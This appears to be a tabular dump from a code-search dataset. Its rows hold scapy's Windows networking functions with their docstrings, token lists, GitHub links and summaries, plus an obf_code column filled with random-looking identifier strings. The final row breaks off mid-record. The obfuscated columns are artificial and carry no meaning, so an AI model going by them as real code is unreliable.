repo stringlengths 7 54 | path stringlengths 4 223 | func_name stringlengths 1 134 | original_string stringlengths 75 104k | language stringclasses 1
value | code stringlengths 75 104k | code_tokens listlengths 20 28.4k | docstring stringlengths 1 46.3k | docstring_tokens listlengths 1 1.66k | sha stringlengths 40 40 | url stringlengths 87 315 | partition stringclasses 1
value | summary stringlengths 4 350 | obf_code stringlengths 7.85k 764k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
secdev/scapy | scapy/arch/windows/__init__.py | get_windows_if_list | def get_windows_if_list(extended=False):
"""Returns windows interfaces through GetAdaptersAddresses.
params:
- extended: include anycast and multicast IPv6 (default False)"""
# Should work on Windows XP+
def _get_mac(x):
size = x["physical_address_length"]
if size != 6:
... | python | def get_windows_if_list(extended=False):
"""Returns windows interfaces through GetAdaptersAddresses.
params:
- extended: include anycast and multicast IPv6 (default False)"""
# Should work on Windows XP+
def _get_mac(x):
size = x["physical_address_length"]
if size != 6:
... | [
"def",
"get_windows_if_list",
"(",
"extended",
"=",
"False",
")",
":",
"# Should work on Windows XP+",
"def",
"_get_mac",
"(",
"x",
")",
":",
"size",
"=",
"x",
"[",
"\"physical_address_length\"",
"]",
"if",
"size",
"!=",
"6",
":",
"return",
"\"\"",
"data",
"... | Returns windows interfaces through GetAdaptersAddresses.
params:
- extended: include anycast and multicast IPv6 (default False) | [
"Returns",
"windows",
"interfaces",
"through",
"GetAdaptersAddresses",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L205-L265 | train | Returns a list of Windows interfaces through GetAdaptersAddresses. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | get_ips | def get_ips(v6=False):
"""Returns all available IPs matching to interfaces, using the windows system.
Should only be used as a WinPcapy fallback."""
res = {}
for iface in six.itervalues(IFACES):
ips = []
for ip in iface.ips:
if v6 and ":" in ip:
ips.append(ip)... | python | def get_ips(v6=False):
"""Returns all available IPs matching to interfaces, using the windows system.
Should only be used as a WinPcapy fallback."""
res = {}
for iface in six.itervalues(IFACES):
ips = []
for ip in iface.ips:
if v6 and ":" in ip:
ips.append(ip)... | [
"def",
"get_ips",
"(",
"v6",
"=",
"False",
")",
":",
"res",
"=",
"{",
"}",
"for",
"iface",
"in",
"six",
".",
"itervalues",
"(",
"IFACES",
")",
":",
"ips",
"=",
"[",
"]",
"for",
"ip",
"in",
"iface",
".",
"ips",
":",
"if",
"v6",
"and",
"\":\"",
... | Returns all available IPs matching to interfaces, using the windows system.
Should only be used as a WinPcapy fallback. | [
"Returns",
"all",
"available",
"IPs",
"matching",
"to",
"interfaces",
"using",
"the",
"windows",
"system",
".",
"Should",
"only",
"be",
"used",
"as",
"a",
"WinPcapy",
"fallback",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L268-L280 | train | Returns all available IPs matching to interfaces using the Windows system. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | get_ip_from_name | def get_ip_from_name(ifname, v6=False):
"""Backward compatibility: indirectly calls get_ips
Deprecated."""
iface = IFACES.dev_from_name(ifname)
return get_ips(v6=v6).get(iface, [""])[0] | python | def get_ip_from_name(ifname, v6=False):
"""Backward compatibility: indirectly calls get_ips
Deprecated."""
iface = IFACES.dev_from_name(ifname)
return get_ips(v6=v6).get(iface, [""])[0] | [
"def",
"get_ip_from_name",
"(",
"ifname",
",",
"v6",
"=",
"False",
")",
":",
"iface",
"=",
"IFACES",
".",
"dev_from_name",
"(",
"ifname",
")",
"return",
"get_ips",
"(",
"v6",
"=",
"v6",
")",
".",
"get",
"(",
"iface",
",",
"[",
"\"\"",
"]",
")",
"["... | Backward compatibility: indirectly calls get_ips
Deprecated. | [
"Backward",
"compatibility",
":",
"indirectly",
"calls",
"get_ips",
"Deprecated",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L283-L287 | train | Get IP from interface name. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | _pcap_service_control | def _pcap_service_control(action, askadmin=True):
"""Internal util to run pcap control command"""
command = action + ' ' + pcap_service_name()
res, code = _exec_cmd(_encapsulate_admin(command) if askadmin else command)
if code != 0:
warning(res.decode("utf8", errors="ignore"))
return (code =... | python | def _pcap_service_control(action, askadmin=True):
"""Internal util to run pcap control command"""
command = action + ' ' + pcap_service_name()
res, code = _exec_cmd(_encapsulate_admin(command) if askadmin else command)
if code != 0:
warning(res.decode("utf8", errors="ignore"))
return (code =... | [
"def",
"_pcap_service_control",
"(",
"action",
",",
"askadmin",
"=",
"True",
")",
":",
"command",
"=",
"action",
"+",
"' '",
"+",
"pcap_service_name",
"(",
")",
"res",
",",
"code",
"=",
"_exec_cmd",
"(",
"_encapsulate_admin",
"(",
"command",
")",
"if",
"as... | Internal util to run pcap control command | [
"Internal",
"util",
"to",
"run",
"pcap",
"control",
"command"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L572-L578 | train | Internal util to run pcap control command | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | pcapname | def pcapname(dev):
"""Get the device pcap name by device name or Scapy NetworkInterface
"""
if isinstance(dev, NetworkInterface):
if dev.is_invalid():
return None
return dev.pcap_name
try:
return IFACES.dev_from_name(dev).pcap_name
except ValueError:
retu... | python | def pcapname(dev):
"""Get the device pcap name by device name or Scapy NetworkInterface
"""
if isinstance(dev, NetworkInterface):
if dev.is_invalid():
return None
return dev.pcap_name
try:
return IFACES.dev_from_name(dev).pcap_name
except ValueError:
retu... | [
"def",
"pcapname",
"(",
"dev",
")",
":",
"if",
"isinstance",
"(",
"dev",
",",
"NetworkInterface",
")",
":",
"if",
"dev",
".",
"is_invalid",
"(",
")",
":",
"return",
"None",
"return",
"dev",
".",
"pcap_name",
"try",
":",
"return",
"IFACES",
".",
"dev_fr... | Get the device pcap name by device name or Scapy NetworkInterface | [
"Get",
"the",
"device",
"pcap",
"name",
"by",
"device",
"name",
"or",
"Scapy",
"NetworkInterface"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L759-L770 | train | Get the device pcap name by device name or Scapy NetworkInterface | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | open_pcap | def open_pcap(iface, *args, **kargs):
"""open_pcap: Windows routine for creating a pcap from an interface.
This function is also responsible for detecting monitor mode.
"""
iface_pcap_name = pcapname(iface)
if not isinstance(iface, NetworkInterface) and iface_pcap_name is not None:
iface = I... | python | def open_pcap(iface, *args, **kargs):
"""open_pcap: Windows routine for creating a pcap from an interface.
This function is also responsible for detecting monitor mode.
"""
iface_pcap_name = pcapname(iface)
if not isinstance(iface, NetworkInterface) and iface_pcap_name is not None:
iface = I... | [
"def",
"open_pcap",
"(",
"iface",
",",
"*",
"args",
",",
"*",
"*",
"kargs",
")",
":",
"iface_pcap_name",
"=",
"pcapname",
"(",
"iface",
")",
"if",
"not",
"isinstance",
"(",
"iface",
",",
"NetworkInterface",
")",
"and",
"iface_pcap_name",
"is",
"not",
"No... | open_pcap: Windows routine for creating a pcap from an interface.
This function is also responsible for detecting monitor mode. | [
"open_pcap",
":",
"Windows",
"routine",
"for",
"creating",
"a",
"pcap",
"from",
"an",
"interface",
".",
"This",
"function",
"is",
"also",
"responsible",
"for",
"detecting",
"monitor",
"mode",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L792-L811 | train | Open a pcap from an interface. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | _read_routes_c_v1 | def _read_routes_c_v1():
"""Retrieve Windows routes through a GetIpForwardTable call.
This is compatible with XP but won't get IPv6 routes."""
def _extract_ip(obj):
return inet_ntop(socket.AF_INET, struct.pack("<I", obj))
routes = []
for route in GetIpForwardTable():
ifIndex = route... | python | def _read_routes_c_v1():
"""Retrieve Windows routes through a GetIpForwardTable call.
This is compatible with XP but won't get IPv6 routes."""
def _extract_ip(obj):
return inet_ntop(socket.AF_INET, struct.pack("<I", obj))
routes = []
for route in GetIpForwardTable():
ifIndex = route... | [
"def",
"_read_routes_c_v1",
"(",
")",
":",
"def",
"_extract_ip",
"(",
"obj",
")",
":",
"return",
"inet_ntop",
"(",
"socket",
".",
"AF_INET",
",",
"struct",
".",
"pack",
"(",
"\"<I\"",
",",
"obj",
")",
")",
"routes",
"=",
"[",
"]",
"for",
"route",
"in... | Retrieve Windows routes through a GetIpForwardTable call.
This is compatible with XP but won't get IPv6 routes. | [
"Retrieve",
"Windows",
"routes",
"through",
"a",
"GetIpForwardTable",
"call",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L821-L845 | train | Retrieve Windows routes through a GetIpForwardTable call.
This is compatible with XP but won t get IPv6 routes. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | _read_routes_c | def _read_routes_c(ipv6=False):
"""Retrieve Windows routes through a GetIpForwardTable2 call.
This is not available on Windows XP !"""
af = socket.AF_INET6 if ipv6 else socket.AF_INET
sock_addr_name = 'Ipv6' if ipv6 else 'Ipv4'
sin_addr_name = 'sin6_addr' if ipv6 else 'sin_addr'
metric_name = '... | python | def _read_routes_c(ipv6=False):
"""Retrieve Windows routes through a GetIpForwardTable2 call.
This is not available on Windows XP !"""
af = socket.AF_INET6 if ipv6 else socket.AF_INET
sock_addr_name = 'Ipv6' if ipv6 else 'Ipv4'
sin_addr_name = 'sin6_addr' if ipv6 else 'sin_addr'
metric_name = '... | [
"def",
"_read_routes_c",
"(",
"ipv6",
"=",
"False",
")",
":",
"af",
"=",
"socket",
".",
"AF_INET6",
"if",
"ipv6",
"else",
"socket",
".",
"AF_INET",
"sock_addr_name",
"=",
"'Ipv6'",
"if",
"ipv6",
"else",
"'Ipv4'",
"sin_addr_name",
"=",
"'sin6_addr'",
"if",
... | Retrieve Windows routes through a GetIpForwardTable2 call.
This is not available on Windows XP ! | [
"Retrieve",
"Windows",
"routes",
"through",
"a",
"GetIpForwardTable2",
"call",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L848-L893 | train | Reads Windows routes through a GetIpForwardTable2 call. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | in6_getifaddr | def in6_getifaddr():
"""
Returns all IPv6 addresses found on the computer
"""
ifaddrs = []
ip6s = get_ips(v6=True)
for iface in ip6s:
ips = ip6s[iface]
for ip in ips:
scope = in6_getscope(ip)
ifaddrs.append((ip, scope, iface))
# Appends Npcap loopback ... | python | def in6_getifaddr():
"""
Returns all IPv6 addresses found on the computer
"""
ifaddrs = []
ip6s = get_ips(v6=True)
for iface in ip6s:
ips = ip6s[iface]
for ip in ips:
scope = in6_getscope(ip)
ifaddrs.append((ip, scope, iface))
# Appends Npcap loopback ... | [
"def",
"in6_getifaddr",
"(",
")",
":",
"ifaddrs",
"=",
"[",
"]",
"ip6s",
"=",
"get_ips",
"(",
"v6",
"=",
"True",
")",
"for",
"iface",
"in",
"ip6s",
":",
"ips",
"=",
"ip6s",
"[",
"iface",
"]",
"for",
"ip",
"in",
"ips",
":",
"scope",
"=",
"in6_gets... | Returns all IPv6 addresses found on the computer | [
"Returns",
"all",
"IPv6",
"addresses",
"found",
"on",
"the",
"computer"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L916-L930 | train | Returns all IPv6 addresses found on the computer
| Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | get_working_if | def get_working_if():
"""Return an interface that works"""
try:
# return the interface associated with the route with smallest
# mask (route by default if it exists)
iface = min(conf.route.routes, key=lambda x: x[1])[3]
except ValueError:
# no route
iface = scapy.cons... | python | def get_working_if():
"""Return an interface that works"""
try:
# return the interface associated with the route with smallest
# mask (route by default if it exists)
iface = min(conf.route.routes, key=lambda x: x[1])[3]
except ValueError:
# no route
iface = scapy.cons... | [
"def",
"get_working_if",
"(",
")",
":",
"try",
":",
"# return the interface associated with the route with smallest",
"# mask (route by default if it exists)",
"iface",
"=",
"min",
"(",
"conf",
".",
"route",
".",
"routes",
",",
"key",
"=",
"lambda",
"x",
":",
"x",
"... | Return an interface that works | [
"Return",
"an",
"interface",
"that",
"works"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L959-L974 | train | Return an interface that works | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | route_add_loopback | def route_add_loopback(routes=None, ipv6=False, iflist=None):
"""Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows"""
if not WINDOWS:
warning("Not available")
return
warning("This will completely mess up the routes. Testing purpose only !")
# Add only if some adpaters al... | python | def route_add_loopback(routes=None, ipv6=False, iflist=None):
"""Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows"""
if not WINDOWS:
warning("Not available")
return
warning("This will completely mess up the routes. Testing purpose only !")
# Add only if some adpaters al... | [
"def",
"route_add_loopback",
"(",
"routes",
"=",
"None",
",",
"ipv6",
"=",
"False",
",",
"iflist",
"=",
"None",
")",
":",
"if",
"not",
"WINDOWS",
":",
"warning",
"(",
"\"Not available\"",
")",
"return",
"warning",
"(",
"\"This will completely mess up the routes.... | Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows | [
"Add",
"a",
"route",
"to",
"127",
".",
"0",
".",
"0",
".",
"1",
"and",
"::",
"1",
"to",
"simplify",
"unit",
"tests",
"on",
"Windows"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L985-L1057 | train | Add a route to 127. 0. 1 and :: 1 to simplify unit tests on Windows | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterface.update | def update(self, data):
"""Update info about a network interface according
to a given dictionary. Such data is provided by get_windows_if_list
"""
self.data = data
self.name = data['name']
self.description = data['description']
self.win_index = data['win_index']
... | python | def update(self, data):
"""Update info about a network interface according
to a given dictionary. Such data is provided by get_windows_if_list
"""
self.data = data
self.name = data['name']
self.description = data['description']
self.win_index = data['win_index']
... | [
"def",
"update",
"(",
"self",
",",
"data",
")",
":",
"self",
".",
"data",
"=",
"data",
"self",
".",
"name",
"=",
"data",
"[",
"'name'",
"]",
"self",
".",
"description",
"=",
"data",
"[",
"'description'",
"]",
"self",
".",
"win_index",
"=",
"data",
... | Update info about a network interface according
to a given dictionary. Such data is provided by get_windows_if_list | [
"Update",
"info",
"about",
"a",
"network",
"interface",
"according",
"to",
"a",
"given",
"dictionary",
".",
"Such",
"data",
"is",
"provided",
"by",
"get_windows_if_list"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L318-L360 | train | Update the internal attributes of the object according to a dictionary. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterface._npcap_set | def _npcap_set(self, key, val):
"""Internal function. Set a [key] parameter to [value]"""
res, code = _exec_cmd(_encapsulate_admin(
" ".join([_WlanHelper, self.guid[1:-1], key, val])
))
_windows_title() # Reset title of the window
if code != 0:
raise OSEr... | python | def _npcap_set(self, key, val):
"""Internal function. Set a [key] parameter to [value]"""
res, code = _exec_cmd(_encapsulate_admin(
" ".join([_WlanHelper, self.guid[1:-1], key, val])
))
_windows_title() # Reset title of the window
if code != 0:
raise OSEr... | [
"def",
"_npcap_set",
"(",
"self",
",",
"key",
",",
"val",
")",
":",
"res",
",",
"code",
"=",
"_exec_cmd",
"(",
"_encapsulate_admin",
"(",
"\" \"",
".",
"join",
"(",
"[",
"_WlanHelper",
",",
"self",
".",
"guid",
"[",
"1",
":",
"-",
"1",
"]",
",",
... | Internal function. Set a [key] parameter to [value] | [
"Internal",
"function",
".",
"Set",
"a",
"[",
"key",
"]",
"parameter",
"to",
"[",
"value",
"]"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L391-L399 | train | Internal function. Set a [ key ] parameter to value. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterface.ismonitor | def ismonitor(self):
"""Returns True if the interface is in monitor mode.
Only available with Npcap."""
if self.cache_mode is not None:
return self.cache_mode
try:
res = (self.mode() == "monitor")
self.cache_mode = res
return res
ex... | python | def ismonitor(self):
"""Returns True if the interface is in monitor mode.
Only available with Npcap."""
if self.cache_mode is not None:
return self.cache_mode
try:
res = (self.mode() == "monitor")
self.cache_mode = res
return res
ex... | [
"def",
"ismonitor",
"(",
"self",
")",
":",
"if",
"self",
".",
"cache_mode",
"is",
"not",
"None",
":",
"return",
"self",
".",
"cache_mode",
"try",
":",
"res",
"=",
"(",
"self",
".",
"mode",
"(",
")",
"==",
"\"monitor\"",
")",
"self",
".",
"cache_mode"... | Returns True if the interface is in monitor mode.
Only available with Npcap. | [
"Returns",
"True",
"if",
"the",
"interface",
"is",
"in",
"monitor",
"mode",
".",
"Only",
"available",
"with",
"Npcap",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L414-L424 | train | Returns True if the interface is in monitor mode. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterface.setmonitor | def setmonitor(self, enable=True):
"""Alias for setmode('monitor') or setmode('managed')
Only available with Npcap"""
# We must reset the monitor cache
if enable:
res = self.setmode('monitor')
else:
res = self.setmode('managed')
if not res:
... | python | def setmonitor(self, enable=True):
"""Alias for setmode('monitor') or setmode('managed')
Only available with Npcap"""
# We must reset the monitor cache
if enable:
res = self.setmode('monitor')
else:
res = self.setmode('managed')
if not res:
... | [
"def",
"setmonitor",
"(",
"self",
",",
"enable",
"=",
"True",
")",
":",
"# We must reset the monitor cache",
"if",
"enable",
":",
"res",
"=",
"self",
".",
"setmode",
"(",
"'monitor'",
")",
"else",
":",
"res",
"=",
"self",
".",
"setmode",
"(",
"'managed'",
... | Alias for setmode('monitor') or setmode('managed')
Only available with Npcap | [
"Alias",
"for",
"setmode",
"(",
"monitor",
")",
"or",
"setmode",
"(",
"managed",
")",
"Only",
"available",
"with",
"Npcap"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L426-L438 | train | Alias for setmode ( monitor ) Only available with Npcap | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterface.setmode | def setmode(self, mode):
"""Set the interface mode. It can be:
- 0 or managed: Managed Mode (aka "Extensible Station Mode")
- 1 or monitor: Monitor Mode (aka "Network Monitor Mode")
- 2 or master: Master Mode (aka "Extensible Access Point")
(supported from Windows 7 and lat... | python | def setmode(self, mode):
"""Set the interface mode. It can be:
- 0 or managed: Managed Mode (aka "Extensible Station Mode")
- 1 or monitor: Monitor Mode (aka "Network Monitor Mode")
- 2 or master: Master Mode (aka "Extensible Access Point")
(supported from Windows 7 and lat... | [
"def",
"setmode",
"(",
"self",
",",
"mode",
")",
":",
"# According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501",
"self",
".",
"_check_npcap_requirement",
"(",
")",
"_modes",
"=",
"{",
"0",
":",
"\"managed\"",
",",
"1",
":",
"\"m... | Set the interface mode. It can be:
- 0 or managed: Managed Mode (aka "Extensible Station Mode")
- 1 or monitor: Monitor Mode (aka "Network Monitor Mode")
- 2 or master: Master Mode (aka "Extensible Access Point")
(supported from Windows 7 and later)
- 3 or wfd_device: The W... | [
"Set",
